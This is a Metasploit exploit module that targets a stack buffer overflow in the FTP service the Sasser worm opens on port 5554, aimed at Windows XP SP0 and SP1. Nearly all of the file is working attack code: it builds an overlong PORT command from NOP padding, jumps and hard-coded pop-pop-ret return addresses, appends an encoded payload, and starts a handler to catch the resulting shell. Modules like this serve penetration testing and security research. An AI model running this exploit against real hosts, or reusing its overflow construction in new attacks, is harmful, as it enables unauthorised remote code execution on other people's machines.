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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Ftp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name'	=> 'Sasser Worm avserve FTP PORT Buffer Overflow',
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        'Description'	=> %q{
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          This module exploits the FTP server component of the Sasser worm.
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          By sending an overly long PORT command the stack can be overwritten.
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        },
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        'Author'	=> [ '<valsmith[at]metasploit.com>', '<chamuco[at]gmail.com>', 'aushack' ],
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        'Arch'	=> [ ARCH_X86 ],
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        'License'	=> MSF_LICENSE,
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        'References' => [
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          [ 'OSVDB', '6197'],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Platform' => ['win'],
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        'Privileged'	=> false,
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        'Payload' => {
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          'Space'	=> 480,
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          'BadChars'	=> "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
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          'StackAdjustment'	=> -3500,
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        },
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        'Targets' => [
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          [ 'Windows XP SP0', { 'Ret' => 0x71aa32ad } ], # p/p/r ws2help.dll
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          [ 'Windows XP SP1', { 'Ret' => 0x77e7633a } ], # p/p/r
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        ],
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        'DisclosureDate' => '2004-05-10',
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        'DefaultTarget' => 1,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(5554),
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      ]
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    )
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  end
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  def exploit
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    connect
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    print_status("Trying target #{target.name}...")
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    sploit = make_nops(267) + Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target['Ret']].pack('V')
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    sploit << Rex::Arch::X86.jmp(0xfffffc13) + make_nops(15) + payload.encoded + make_nops(1530)
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    send_cmd(['PORT', sploit], false)
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    handler
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    disconnect
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  end
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end
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